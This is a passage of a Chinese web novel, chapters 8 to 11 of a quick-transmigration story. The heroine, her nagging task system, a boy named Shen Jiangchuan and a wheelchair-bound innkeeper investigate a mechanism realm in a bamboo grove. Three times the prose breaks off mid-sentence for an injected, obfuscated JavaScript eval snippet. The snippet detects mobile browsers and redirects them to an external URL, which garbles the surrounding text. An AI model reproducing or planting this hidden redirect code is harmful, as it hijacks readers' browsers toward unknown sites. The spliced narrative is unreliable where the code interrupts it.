糟糕!我的一半积分!连珂在心里呐喊,终于是认真思索起出去的路子。 “姐姐?”沈绛川看她面色不虞,以为是自己擅自跟踪触怒了她,迅速把接下来的话都咽下了。 连珂神色恍惚,有气无力道:“没事……你狮子拴在哪儿了?” 沈绛川略显迟疑道:“啊,我来之前看到一匹憨态可掬的驴,上面也有姐姐的气息,似乎是姐姐的坐骑?我就让大黄帮我看着了,免得有心之人盗去。” 连珂失去的气血瞬间冲回来了,讪讪道:“对啊,那是我的爱骑。” 沈绛川回忆了一下那驴靠着墙啃墙皮的破落模样,面不改色地郑重说道:“那姐姐不必担心,大黄嘴很挑的,从来不吃家畜。” “谢谢。”谢谢你特地贬低一下我的马哦。 “大黄最多引导你到死胡同,剩下的路你又是如何走的?那些毒雾和机关对一个少年来说,可不好应对。” 沈绛川面露不解,重复道:“死胡同?毒雾?姐姐,我未曾遇见这些。” 他的反应成功让连珂换上了同款问号脸:“嗯?” 沈绛川向连珂娓娓道来:“我骑着大黄,未免过于瞩目,所以避开了那些城镇村落,只是沿着边上的山林一路过来。” “不过,不知为何,大黄对沿路的水源很是忌惮,总是阻止我饮用。” 连珂点点头,评价道:“那你有一匹好狮子。” 沈绛川叹气:“我自然是相信大黄的,但哪有生命可以一直不喝水。要不是遇到这间客栈,我怕是要渴死在路上。” 连珂敏锐地抓住了重点,下意识抓住沈绛川问道:“你喝了这里的水?什么时候?” 虽说不一定每个世界都适用,但生死边界的水若喝了,有一定几率会永远停滞在这里不得回返。 那系统刚颁布的紧急任务就彻底告吹了。 沈绛川猛地被抓住领口,对上连珂紧蹙的眉头,有些发怔:“……姐姐?” “到底喝没喝?” 沈绛川眼眸转了转,视线落在连珂紧攥的指尖上,竟是鬼使神差地说道:“喝了几杯。那姐姐打算如何处置我呢?要惩罚吗?” 连珂猛地松手,后退一步。 丹凤眼本就眼尾上挑,而今沈绛川笑得眉眼弯成月牙状,更是平添几分魅色。 可惜连珂是个粗人,欣赏不来这种被原作大肆褒扬的美,尤其是在一个小孩身上。 “既然没喝,那就算了。”连珂果断拆穿他的谎言,冷淡地保持距离。 看那样子就知道,再继续下去,恐怕要助长这小崽子已经长歪的苗头了。 连珂在之前的世界里,遇到过不止一次:缺爱的主角故意自伤博取同情,并将其转化成为扭曲的乐趣。 被博取同情的对象越紧张,他们越开心。被关心后却犹嫌不足,食髓知味,很快就重蹈覆辙,并且一次比一次严重,直至无可挽回。 沈绛川年纪摆在这里,再加上原作描写的童年经历,有这种苗头很正常。 然而连珂对这种情况相当敏感,再也不想看到一次类似的悲剧在眼前重演。 果然,沈绛川如连珂之前接触过的其他角色一样,察觉到她的冷淡,浸润着笑意的眼眸中瞬间盛满了不知所措。 他下意识带着点讨好的笑,抬头仰视着站在另一侧的连珂,轻声说道:“姐姐,我没说谎。我真的喝了,您也觉得没关系吗?” 连珂明白,沈绛川此时想要的,是她强行提着他的衣领逼他把喝下去的水全都吐出来,甚至更为粗暴的举动,来证明她确实在乎得要命。 别问她怎么知道的,问就是经验。这样做好感度不仅不会掉,反而会涨。 但连珂不想那么做,若用暴力解决问题,有一就有二,然后周而复始。满足他一次,那扭曲到最后,就会变成求着她杀了他之类的事。 处于冷战的系统钻出来:“……不至于吧。” 连珂不耐烦地把它塞回芯片,“闭嘴,前面两千个世界难道是你攻略的?” 眼看沈绛川盯着楼下摆着的水壶,蠢蠢欲动的模样。 连珂抱着自己的手臂,摆出一副事不关己的模样,冷淡地提醒道:“归客客栈的水并没有什么致病致毒的因素。” 话音刚落,系统声音从芯片底部重新钻出来,怀疑道:“这样说并不能阻止什么吧。” 然而当沈绛川听到连珂的话,眼里那点隐藏的兴奋劲儿瞬间就散得一干二净了,只留下一声略带遗憾的“哦”。 “……确实是我不懂人类,宿主请继续。”被打脸的系统迅速钻回了芯片底部。 看沈绛川不再执着,连珂面色也有所缓和,补充道:“这水充其量是让你再也回不去,我走的时候也不会带上你。当然你若不信邪,也可以试试,我不会拦你。” 沈绛川闻言,果然慢慢冷静下来,收敛了那副患得患失的神情,还有一些下意识咬唇的小动作。 在连珂眼里,沈绛川至今的一切行为就像是教科书上的标准示范走入现实。她真是好久没看到这样标准的待救赎型主角了,还是相当棘手的那种类型。 但经验归经验,连珂也称不上完全游刃有余,因为还有一个待发掘的重大疑点: 像沈绛川这类性格的角色一般不会轻易给出自己的信任。陌生人需要磨合很久,再经历一些难以复制的绝境经历,才有可能走入他的心,成为所谓“被博取同情的对象”。 可是她和沈绛川不过才见了几面,怎么就获此“殊荣”了呢? 除非,沈绛川身上还有什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15045287|162692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 更多更大的秘密,足以让他在看到她的一瞬间,将她认定为救命稻草或是别的什么更为紧要的事物。 能是什么呢…… 与此同时,沈绛川终于收敛好一切不该有的妄为,重新组织了语言,正经说道:“刚才让姐姐见笑了,我确实没有饮用这里的水。” “当时一来到这里,口渴的感觉就消失了,我便知此处有古怪。而且一开始我在竹林迷路,度过了几个日夜,也没有感觉到饥饿或困倦。” 连珂默契地跳过了方才的事情,不再谈及,而后顺着沈绛川新起的话头走:“迷路几个日夜?你没有听到清徽的琴声?” “只怕那是姐姐的专属呢。” 连珂略去琴声,再次强调道:“你确定是几个日夜?” 沈绛川面色如常地说道:“自然,我绝无欺瞒。太阳东升西落如常,夜幕亦有圆月高悬。” 说完这个,他看着有点沮丧,半真半假地抱怨道:“姐姐,我不过是开了一桩玩笑,您便从此不再信任我了吗?” 连珂省去插科打诨,迅速在脑海中排列起二人的时间线,目前行程根本对不上。 沈绛川若是追逐她而来,她来这里不到一个日夜,他倒是迷路迷了几天?到底是说谎还是…… 连珂开口道:“那先回到之前没说明白的事情上,你说你没有遇到毒雾或者机关,连死胡同都没有,是狮子避开城镇,带你直接到了竹林?” “是的。” 连珂道:“路上有没有遇上一幅画作?水墨画,大致画的是山水。” 沈绛川没立刻回答,对此似乎印象不深,许久才迟疑地说道:“大黄好像扯过什么卷轴玩,我没太看清。” 连珂隐去了一些细节,和他交代起自己来归客客栈之前的事。 沈绛川莫名在短时间内接受了如此大的信息量,毕竟之前在他眼里,归客客栈与这片竹林只是稍显古怪。 但结合两个人完全对不上的时间线,和可能作为唯一重合点的撕裂的画,就有些细思极恐了。 期间,连珂试探性地提出“平行世界”之类的字眼,不出意外全都被系统自动屏蔽了,只得放弃。 两人各自梳理思绪,不可避免地频繁交换着自己一路上的所见所闻。 连珂一如既往有所隐瞒,沈绛川却仿佛要证明什么似的,恨不得把自己每一步路都向连珂解释清楚。 可惜这颗捧出的赤心暂时没得到接纳。 连珂在房间找出一张纸,没在上面写字,只是用手指勾勾画画,聊作思维的辅助。 漫长的沉寂,终是由沈绛川率先打破:“其实,从重新见到姐姐开始,我就一直很想问一个问题。” 连珂头也不抬,“你说。” 沈绛川欲言又止,几次三番才真正开口,声音却又轻得让人听不清,“为什么……姐姐对最可疑的人反倒避重就轻呢?” “谁?”连珂的手指顿住,总算抬起头。 那个自带阴郁气质却总装乖的少年郎,此时隔了一段距离坐在她对面,低着头看不清神色。 “归客客栈的掌柜,清徽。” “为何姐姐言语间充斥着对我的不信任,却丝毫没有提起他呢?” 9. 第 9 章 公输 连珂哑然。 她该怎么和沈绛川解释,清徽或许才是他们三个当中最懵懂的一个。 可是原因呢? 连珂经历过几场梦境的反复,还有先前真实碰面的误会……但是这些过程,有太多不能在系统的监视下与沈绛川言说。 而连珂的无可奈何,在不知情的沈绛川眼里却是另一种意思。 “我明白了,姐姐。”少年落寞地缩进角落,任由阳光的余晖照在他凌乱的发丝上。 连珂:“等等……你明白了什么?!” 叛逆期的孩子就是心思敏感,连珂心下叹气,刚打算哄一哄。 惹起这场话题的中心人物,却在全然不知的情况下上了楼。 “不知客人昨晚休息得如何,小店条件不大好,还请客人多多担待。” 一天没见,清徽仍是那副温雅亲和的模样。不过比美人更吸引连珂视线的,是他座下可以无障碍走楼梯的轮椅。 不仅是毫无障碍地上下,而且不发出一点声音,颇为神奇。 连珂见猎心喜,好不容易才控制住自己的手,不去拆开轮椅看看其中构造。 而在蹲着的沈绛川矮一截的视线中,只能看到连珂两眼放光地看向姗姗来迟的美人。 不由得心里更郁闷了。 清徽坐在轮椅上,高度倒是正好合适,不经意间就和沈绛川对上了视线,还毫无芥蒂地朝其友好地笑了笑。 “这位小公子怎的蹲在地上,快快请起,切莫受了风寒。再者,若有需要,小店也备好了软垫,可供休憩。” “那倒不必,多谢掌柜了。”沈绛川起身,特地把乱掉的衣服和头发再整理了一遍,极力保持住辰王府出身的体面。 然而他在竹林间徘徊许久,期间只得露宿风餐,衣服难免沾染灰尘不说,整个人都快被“风尘仆仆”四个字浸了个透彻。 连珂不大在意,是因为她也披星戴月赶路而来,再加上本人是个不拘小节的性子,与此时的沈绛川可谓半斤八两,谁也别笑话谁。 但对上清徽一尘不染的白裳与清雅塑骨的气质,尤其是在连珂面前对上,沈绛川诡异地僵住了,后知后觉自己的狼狈模样。 “你躲什么?”连珂把往后缩的沈绛川提着领子揪出来,“有什么当面问吧,你不是觉得人家嫌疑大吗。” 说完,连珂就在旁边抱着手臂,乐得清闲看戏。 刚才怎么就没想到呢,让清徽本人来跟沈绛川解释,总比她自己绞尽脑汁避开违禁词好得多。 清徽微怔:“客人的意思是,这位小公子,也对在下……怀有疑虑?”话里指的是沈绛川,眼神却是看向连珂。 毕竟前阵子,连珂还说过他“惺惺作态”,至今仍未正面解释原因。 连珂拍额,混乱的时间线把她头脑都冲乱了。清徽这么一说,她才想起她和这个清徽之间,还有没解释完的敌意和卦辞。 为了避免局面进一步混乱,也为了给另外两人留出自由交谈的空间。 连珂毅然决然转身请辞:“啊呀,突然醒过来,头脑还有些发昏,我去竹林里转转,二位慢慢聊,不用等我。” 说罢,便轻快地从楼梯转角跳下去,免去了登楼梯的工夫,一溜烟消失在半开的门扉中。 清徽看着她的背影消失,都没来得及说上一句“路上小心”。 而沈绛川不知何时也摸到楼梯边上,打量着落下的高度,似乎有意模仿。 但没等沈绛川摆好起步式,就被一股巨大且不容拒绝的力道拉回了安全的地方。 沈绛川震惊地回头,他已经跃出少许,竟就这么轻易地被强行扯回了地面。 而且拉他的不是别人,正是那个坐在轮椅上“柔弱不能自理”的客栈掌柜。 后者正温和地劝告着:“还请小公子千万当心,不然客人回来后,怕是要说清徽的不是了。” 沈绛川紧紧盯着轮椅的扶手,上面并无裁切的痕迹,怎么看都是毫无异样。 可是,他方才分明看到一闪而过的黑色残影。原来拉住他的并非这个病秧子的手臂,而是扶手里钻出的不知名机械装置,或许对应着某种机关术。 然而早在数十年前,有一位机关术大家因触怒皇帝而被抄家,亲眷学徒一应相干人等皆被处决,机关术从此便断了传承,至今仍是大泽王朝不可言说的禁忌。 失传的机关术重现人间,疑点重重。清徽极有可能是罪人之后,侥幸逃生。 既然如此,为何姐姐还要信任此人?沈绛川怎么也想不明白。 清徽顺着他的视线看去,贴心地松开扶手,让沈绛川看得更清楚些。当然,仍是一无所获。 “小公子好眼光。不久前,另一位客人也好奇过在下的‘乘雪’呢。” “乘雪?掌柜倒是很有雅兴,为一个木头物件起名字。”沈绛川实在找不到漏洞,只得移开视线。 清徽摇摇头,解释道:“小公子误会了,非是清徽为其赋名。而是这机关,初时便用作雪上通行,是故称为‘乘雪’。” 正巧,那个被满门抄斩的机关术宗族,就是自常年大雪纷飞、寒霜欺城的塞外而来。 沈绛川仔细观察了清徽说话时的神情,尤其注意他谈及“机关”时可有异样。 可惜,再次一无所获。 沈绛川小声呢喃道:“乘雪吗……确实是姐姐会喜欢的。” 随即话锋一转,“但是,敢问掌柜,若这器物只是为着在雪上通行,真的有必要配备武装机械吗?” 清徽并不在意他质问的语气,仍然笑着温声回应道:“有备无患总是好事。像方才,不就派上用场了吗,免去一场灾祸。” “至于小公子所说的武装……在下不良于行,便私自将‘乘雪’作了不少改动,早已偏离原意。个中机巧,因涉及家中机密,恕不能如数告知。” 果然是机关术世家的后人吗。 未等沈绛川再追问,清徽主动提起:“看来这位远道而来的小公子,对清徽家中所传的机关术很感兴趣。” “那么,”清徽顿了顿,目光有意无意扫过沈绛川衣角蒙尘的兰花纹样,“沈小公子也应礼尚往来才是。” 这回首次带上了姓氏。 虽然他们之间并未互通姓名,但是一个把名字用作自称,另一个衣角绣着辰王府的标志物——远辰兰,本来就没什么遮掩的意思。 “确实是我小瞧了公输掌柜, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15045288|162692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不过,我这里恐怕并没有什么掌柜想要得到的情报。” 所谓情报,指的自然是数十年前,公输家触怒皇帝、满门抄斩的惨案。 沈绛川倒是并未说谎,他在辰王府并不受重视,出身存疑,根本没有接触往年卷宗的机会。 清徽面上并无丝毫失望之色,只是缓缓说道:“此时没有,以后未必。沈小公子出身尊贵,假以时日……” 话未说完,就被沈绛川斩钉截铁地否决:“没有,不会。” 看他态度坚决,清徽止住到了舌尖的话语,言笑晏晏,“而今为时尚早,沈小公子不必急于一时决断。” 说到这里,沈绛川终于打断了这个将刀刃悬在脖颈的话题,转而叹气,不服道:“姐姐信你,我却始终没看出你到底有什么地方可信。” 不料清徽闻言,却是笑意加深,“哦?沈小公子当真这般认为吗?” “不然呢?”沈绛川没个好气。 “若沈小公子口中的‘姐姐’真的对在下信任有加,就不会自己外出时,还要让你留下来牵制在下了。” “嗯?” 如出一辙的落寞与感伤,让两个年岁出身差距极大的人在客栈里面面相觑。 与此同时,在竹林里晃荡的连珂打了个喷嚏,摸了摸鼻子,“阿——嚏——,谁想我了?” 系统幽幽道:“请宿主尽快完成任务,不要转移注意。” “知道了知道了,说好的咱俩以后只做同事,怎么还改不了你啰嗦的毛病。敢情你之前不是因为和我关系好才唠叨,而是本性如此啊。” 连珂一边吐槽,一边继续在竹林慢悠悠地探索。 任务有三天期限,这才是第一天,连珂并不着急,毕竟她一直以来都传承着拖到死线才拼命赶工的优良传统。 别人是不死不休,她是不到死线死要休息,阎王爷都拦不住。 连珂没什么风雅爱好,看这满园的竹子也生不出文人墨客的雅兴,只是偶尔找些新生的竹笋啃一口,走一半啃一半。 虽然竹笋一般不可以生吃,但没关系,她的胃口和牙口都异于常人。就是可惜附近没找到合适的水源,不然她高低得扒着岸边的石头豪饮一江。 系统无语:“宿主既然如此百无禁忌,那先前拦着男主干什么。” 连珂无情反击:“我吃几个了你才马后炮,那先前拦着我说技能有耐久度算什么。” “反正也不是人类了,嚯嚯一下想必也无甚大碍,嘻嘻。对吧?系统。” 连珂深深伸了个懒腰,再开口时,语调不由得夹带上些许倦意,“我拦着沈绛川,是因为他是肉体凡胎,喝了这里的水就真有可能出不去了。” “但我自己嘛……” 连珂兀自笑得明媚,神情和语气却很难分清是不是在开玩笑,“我若吃了这里的东西,不能离开这里,就证明我不管经过你们公司怎样离谱的改造,至少最基本的没变,仍然是人类。” 连珂确实抱有过不该有的期望。然而事实摆在眼前:她吃下竹笋,身体并无异变,系统也未有“任务失败”的提示。 只能说,此前所谓的百毒不侵的技能,就只是闹掰前,系统给她的善意的谎言罢了。 10. 第 10 章 揭幕 确定了一直惶惶不敢断言的事情后,连珂倒是一身轻快,疾走如飞。 好嘛,完全没有退路,总比悬而不落强许多。 竹林本身并不算大,至少连珂体感上是这样,但不妨碍她无论如何都走不到头,也找不到来时的路。 想凭双脚走出去无疑是痴人说梦,到头来还是得看机关。 连珂找到了四架古琴,质地不一,分别位于东、西、南、北四个方位。 “好明显的提示……所以清徽果然和机关术有点关系吧,或者还掺和了一部分阵法。” 连珂走累了,找到最初标记的竹子,靠着坐下。 竹笋生得很快,只要附近没有生命的气息,就会重新长出来,她啃了一口,味道也一样。 说明四把古琴对应的四个“门”不能靠她自己一一击破,得几个人同时破解。否则即使她速度再快,也快不过机关复原的速度。 “需要四个化阵者的话,数一数。”连珂若有所思,手指屈起又伸开,反复数次。 “我一个,沈绛川算一个,再加上清徽……”还差一个人选,连珂抬头看向天空,那个名字似乎就要脱口而出。 系统:“我是不会参与的,别想了。” 连珂没搭理它突如其来的自恋,敷衍道:“哦哦,没事了,去一边玩吧。” 第四个人的存在,连珂不确定系统知道多少。 清徽的另一半魂魄,那个梦中来客,连珂本着方便好记的原则,在心里称他为“梦清徽”。 阵法只有四门,说明原作的世界观本身有局限性,当然,更有可能是原作作者犯懒,细节跟不上。 连珂初步判断,这四门大概分别对应着:生、死、实、虚,恰好与他们四人一一对应。 沈绛川为“生”,清徽为“死”,连珂为“实”,梦清徽为“虚”。 “剩下的,就是具体怎么破阵了。或者不是阵法,而是一个巨大的机关秘境也说不定。” 连珂最后去四把琴的位置分别转了一圈,在每个地方各拾起一片掉落在地上的竹叶,情态各异。 兜兜转转,连珂带着四片竹叶又回到了归客客栈。 “清徽!沈绛川!都去哪儿了,一个都找不到。” 归客客栈里面很安静,连珂凌空踏上楼梯侧面,再以此为拐点跳上二楼。 期间险些被突然探头的机关刺穿眉心,连珂不慌不忙,袖中生刃,砍了一截用作研究。 “也亏得是我,若换个功夫不到家的,恐怕都不知道怎么死的。”连珂转头瞥了一眼蛛网般的丝线,更加跃跃欲试。 系统:“……倒也不会有正常人闲的没事不走楼梯,非得上蹿下跳。” 连珂耸肩,漫不经心道:“总得这么来一趟的,把机关全勾出来,心里有个底,才不至于以后猝不及防被捅个对穿。” 系统:“看来宿主并不像嘴上说的那样,信任清徽。” 连珂不解:“沈绛川问,你也问。值不值得信,和有没有隐瞒,是两回事。” “原作对清徽的描写太少,只拿他当惊鸿一瞥的工具人,需要时用来给回忆加点配料,所以他的故事是不完整且空洞的。” “他身上注定有许多剧本没有提及的故事,那么在任务世界中,就会被自动补全逻辑。补全后是什么样子,谁也说不准。” “比如,我这番遇到他,又动了把他俩带出去的心思,任务进度不可能半点不动吧?” 系统:“百分之五,处于起步阶段。” 连珂无所谓道:“这不就可以了吗。只要他的存在能顺利推动进度,我又何必非得了解他。既然不用了解,又何来信任一说。” 连珂以为这番话下来,系统高低得吐槽一句薄情,然而真正的得到的却是一句“不愧是你”的评语。 颇有一种拳头打在棉花上的感觉。 这时,恰好耳畔的水声停止了。连珂便在楼梯边上往下看,看到一个换了干净衣服的眉目俊秀的少年郎。 不是沈绛川,又能是谁? 察觉到楼上投来的视线,沈绛川倏地抬眸浅笑,脆生生喊道:“姐姐!” 连珂怎么看这个笑容怎么眼熟,挂在沈绛川脸上多少有点别扭,“别学清徽。” 沈绛川顿时蔫了,不过很快调整回状态,露出两颗标志性的小虎牙,“知道了,姐姐。” 他向来很懂得利用自己的外貌优势,可惜对面是个彻头彻尾的木头。 说实在的,连珂一直想不明白,沈绛川明里暗里表现出的依赖和讨好到底是因为什么。 他此时的年纪,放在原作中,正是受尽欺辱阴郁入骨的时候,远没到后期完全体时八面玲珑的腹黑王爷阶段。 若只是觉醒的苗头不至于有这般大的影响……除非,觉醒这件事,本身有什么代价。 而这个代价,又不得不让沈绛川放下身段,学这些讨好人的戏码。 连珂兀自分析,忽略了某个久未得到回应的少年郎,眼中逐渐黯淡的光亮。 沈绛川不解地低头打量自己才换上的白衣裳,又回头看了眼坐在轮椅上、从暗处缓缓驶出的清徽。 总不至于是输在年纪上吧?还是容貌或气质相差太多? 清徽也被他看得不解,开口道:“沈小公子何故这般……” 沈绛川瞬间收回视线,面不改色道:“无事,掌柜多虑了。” 清徽:“既然客人回来了,那不妨将先前所谈转述于她?” 沈绛川拦在即将上楼的清徽身前,低声道:“掌柜,当真愿意毁了自家的基业?现在姐姐还不知道,你反悔也来得及。” 清徽面上仍是温润的笑意,不减毫分,坦然回道:“清徽并非言而无信之人,沈小公子大可放心。” “若为固守死物,而白白葬送了活人的性命,那才是真的有违公输家的祖训,让清徽无颜面对列祖列宗。” “说什么呢?这么热闹?”连珂牵着半空中的丝线,悄然落地,十指间银丝缠绕不休,隐于光下。 清徽第一时间注意到机关用的丝线被生生扯断,不由得面露无奈之色,感叹道:“客人当真高深莫测,这些小把戏自是奈何不得分毫。” “我先帮你收一下,毕竟我还好说,年轻人火气大,难免被绊着。” 沈绛川赶忙对号入座:“多谢姐姐关心。” 连珂瞥了他一眼,看到他原来散乱的发髻重归齐整,莫名想起之前初见时,她拽着这孩子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15045289|162692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的头发悬崖勒步。 当时好像不小心拔下来几根…… 糗事浮上心头,连珂看向另一边,假咳两声:“我去竹林查探了一番,掌握了几条线索,只是还不明晰。” “二位算来也交谈了许久,不知可有收获?” 沈绛川道:“此方天地之事,以及姐姐提过的异状,我都和掌柜交代过了,结果属实惊人。我插不上嘴,还是让掌柜自己说吧。” 清徽就这么被架上了话语的高台。 他转向连珂,问道:“客人说在竹林有所发现,莫非指的是那四架,分置在东西南北的古琴?” “自然。”连珂取出四片枯荣程度不一的竹片,前三片从左到右分别是墨绿、碧绿、翠绿,深浅程度层层递减。 而最后一片最是惊异,颜色浅得近乎透明。质地也极其轻薄,仿佛一阵微风就能将其吹散,落于掌心几如无物。 “这是我特地在古琴边上捡的。神奇的是,它们一开始并没有这么大的分别,进入客栈后却成了这副模样。” 清徽看最后一片竹叶看得出神,久久没有回音,连珂便好心地把叶子放上他的手心。 为了不令其在传递过程中受损,连珂还不甚熟练地利用了一下缠在指间的丝线。 “竟是如此吗……”清徽呢喃,眼眶微红。 不过,丝线这头始终系在连珂身上,说是把竹叶放在清徽手里,实际是用丝线悬着,不直接接触清徽的身体。 沈绛川注意到这个奇怪的举动,绕到连珂身旁,用清徽听不到的音量小声问连珂道:“若接触到,会如何?” “不如何,你看,他碰了。” 顺着连珂的话,沈绛川看到清徽的手指诡异地穿过了那枚几乎透明的叶片,神色几乎在一瞬间凝结成冰,连那双向来柔情似水的眸子也染上了挥之不去的阴霾。 像是早已干涸的枯井重见天日,却承受不住外头灼辣的日光,写满了对久未谋面的真实世界的不适应。 连珂及时扯动丝线,把叶子钓了上来,出于方便,暂且交给沈绛川保管。 四片叶子安安稳稳呆在沈绛川手心,全无方才发生在清徽身上的异样。 连珂从后面拍了拍清徽的后背,试图将他迷失的魂魄拉回来,“别这么悲观嘛,至少我还能碰到你,对吧?” “再者,这不是你早就知道的事实吗?刚才我也努力扯着悬着了,你若不想碰,其实不会碰到的。” 清徽用一只手暂时遮住眼睛,再睁眼时已经恢复平静,只是仍然颤抖着的手指暴露了他的不安。 “抱歉,在客人面前失态了,一切正如客人所说。” 连珂见状,用手拍拍他的肩膀,权当安慰了。 清徽久违地感受到被真实触碰的实物感,待连珂收回手后,下意识抬手放在刚才被拍打的地方。 “客人实在让清徽受宠若惊,”清徽垂眸,“以及,先前清徽便对客人的真实身份有所猜测,但真证实了,仍是不免惊异。果然世界之大,能人异士从来不是空谈。” “嗯?”连珂眨眨眼。 “请客人原谅清徽的冒犯,不知客人是否方便言说,到底是来自异世的灵魂,还是躯壳,亦或两者都有?” 11. 第 11 章 匣子 俗话说,因果报应,屡试不爽。 原先连珂是不信这话的,但现在多少信了两三分。 这不,之前在梦里问过的差不多的问题,这就被正主问回到她头上来了。 “两者皆是。”甚至连回答都如出一辙。 连珂挺意外系统此时没出来作妖,毕竟暴露攻略者身份这事可大可小:虽然没摆进快穿公司的员工守则,但也算得上个不成文的规矩。 还是说,单纯说异世并不会触犯系统的警戒呢? 听到连珂的肯定答复,清徽保持住了沉静若有所思,而另一边的沈绛川嘛…… 连珂用手在他头上比划了一下,口型暗示道:“炸毛了。” 小崽子故作冷静的表情顿时有了裂痕,匆忙转过身调整。 “这下我可把我最大的底牌交代出来了。” 骗人的,只说来自异世算不得什么,但不妨碍连珂演戏,对着发问者似笑非笑道:“希望你的底牌也能让我满意呢,清徽掌柜,否则后果自负。” 清徽点头,徐徐讲述道:“在下是公输家的后人,继承了祖辈传下来的机关术。” 连珂无情打断:“猜到了,下一个。” 清徽继续道:“此处其实是家父生前留下的巨型机关术……”说到这里,清徽顿了一下,似乎在思考措辞。 连珂眨眨眼,笑意散了些。 沈绛川注意到她神色变化,在一边状似无意地帮腔道:“掌柜的,都到这份儿上了,也没什么好隐瞒的吧。” 连珂转向沈绛川,问道:“他之前和你交代了实情?” 沈绛川摇头,“掌柜和我也只说了巨型机关术之类的话,并无其他。但,好像姐姐对他这个回答不太满意。” 连珂道:“可不是嘛,同心协力的时候还支支吾吾,多少有些说不过去。” 清徽听他二人一唱一和,颇为无奈,解释道:“两位这是把清徽想成什么人了。清徽非是刻意隐瞒,实在是,在下知道的也不算多。” “当年祖父牵扯到……京城一案,皇帝震怒,抄家前夕,彼时年幼的我被塞进了一个小匣子里。” 沈绛川不由得惊呼:“小匣子?!” 清徽用双手比了个大小,大致就是十指一一对上后,能框出的最大范围。 若真是这个大小,莫说一整个孩子的身体了,单放头都不可能放得下。 沈绛川第一时间怀疑清徽在说谎,可方才面露不耐的连珂,此刻却是缓和了神色,“继续。” 姐姐相信了这番荒唐言论。沈绛川观察后得出这个结论,心中更是茫然。 脑子里闪过无数种可能性,包括但不限于各种奇门异术或江湖杂谈,俱不能加以解释。 姐姐是出于什么立场相信的呢……因为是异世来客?在姐姐那个世界,这种现象很寻常? 沈绛川的胡思乱想并不能打断清徽的话语,清徽原本犹豫不决,就是因为此事过于荒诞,难以取信于人。 然而碰上个百无禁忌的连珂。 如此,纵使旁边的沈绛川依旧一脸惑色,至少还有一个听者,能支持清徽讲下去。 连珂平静道:“所以我先前觉得你隐瞒,不只是因为你不说完,还有‘巨型’两个字,糊弄谁呐?最多是个小型的世界模型。” 反正身份都摊牌了,说点异世词汇也无妨。 连珂花了点时间解释模型是什么意思。其实古代不是没有这种东西,只是不用这个词表示而已。 清徽听罢,更是折服,“客人果真学识渊博,确如客人所说,此处仿照了现实世界,只是将大小压缩了许多。” 可惜连珂并不领情,催促道:“名词解释不算什么,在这之外的呢,背景啊,破局之法什么的。” “比如,你说过半年前这里还有客人,生意还不错,那变故就是在半年内产生的了?” 一旁的沈绛川陷入沉思:所以这个小匣子到底塞得下多少人啊?若是加以利用…… 清徽回答:“是的。但请容许清徽先将之前的叙述延续下去,毕竟客人也要考虑一下,在场的并非只有你我二人。” 连珂不置可否。 倒是没被指名道姓的沈绛川面上一臊,这话说白了,不就是说他们两个大人三言两语沟通完了,只差他了吗。 为了防止小崽子脸皮薄硬要装作听懂了,连珂直接按住沈绛川试图狡辩的嘴。 其实她也在虚张声势套话这种事,当然是不可能说的,只能委屈一下没成长起来的男主了。 清徽便接着说下去:“匣子内部自有乾坤,可供孩童隐蔽自身并且生存。年岁渐长,清徽找到祖父与父亲留下的典籍,凭此自习得机关妙法。” “纵使匣子设计精巧,但由于制作时间仓促,以及父亲来不及完善便遭横祸,光阴飞逝,匣子终是破损,清徽得以重返现世。” “在此期间,匣子几经辗转,从京城到了一个偏僻的小镇,即落英镇。所幸未有人发现其中奥妙。” 连珂道:“所以,现在我们所在之处,其实是你的仿制版?” 清徽点头。 连珂继续道:“你看着也不过二十有余……” 话音未落,看清徽面露羞赧,连珂连忙转了话头,“而立之年正是好年纪。” 然而清徽还是那副难以启齿的模样,连珂眨了眨眼睛,也不说话,只是试探性地伸出四个手指。 清徽仍是不语,抓着轮椅的手指蜷缩起来,侧过头避开连珂的视线,如墨长发未能遮掩住红透了的耳垂,似是有难言之隐。 连珂更为不解,接连比了几次手指,到最后两只手全用上,也没得到半点回应。 倒是沈绛川从后面戳了戳连珂,小声提醒道:“姐姐,那案子您可能不太清楚,民间虽说传的是数十年,不过其实已经百年有余了。” 他一开始以为清徽是那个机关大家的后人的后人……甚至更多,却不曾想是直接传下来的。 语气颇有些幸灾乐祸的味道。倒不是针对那桩惨案,只是想着,姐姐知道清徽的真实年纪,怕是不可能再看上他了。 但很快沈绛川跟清徽道了歉,意识到自己言语的不妥。纵使没那个心思,也不该笑着说出这种话。 清徽说道:“无妨,清徽明白,沈小公子也不过是好心提醒,并无恶意。” 说完,清徽的紧张并未散去,等着连珂知道真相后的反应。 然而一旁的连珂脱口而出道:“不就一百多岁吗,有什么难以启齿的?” 她 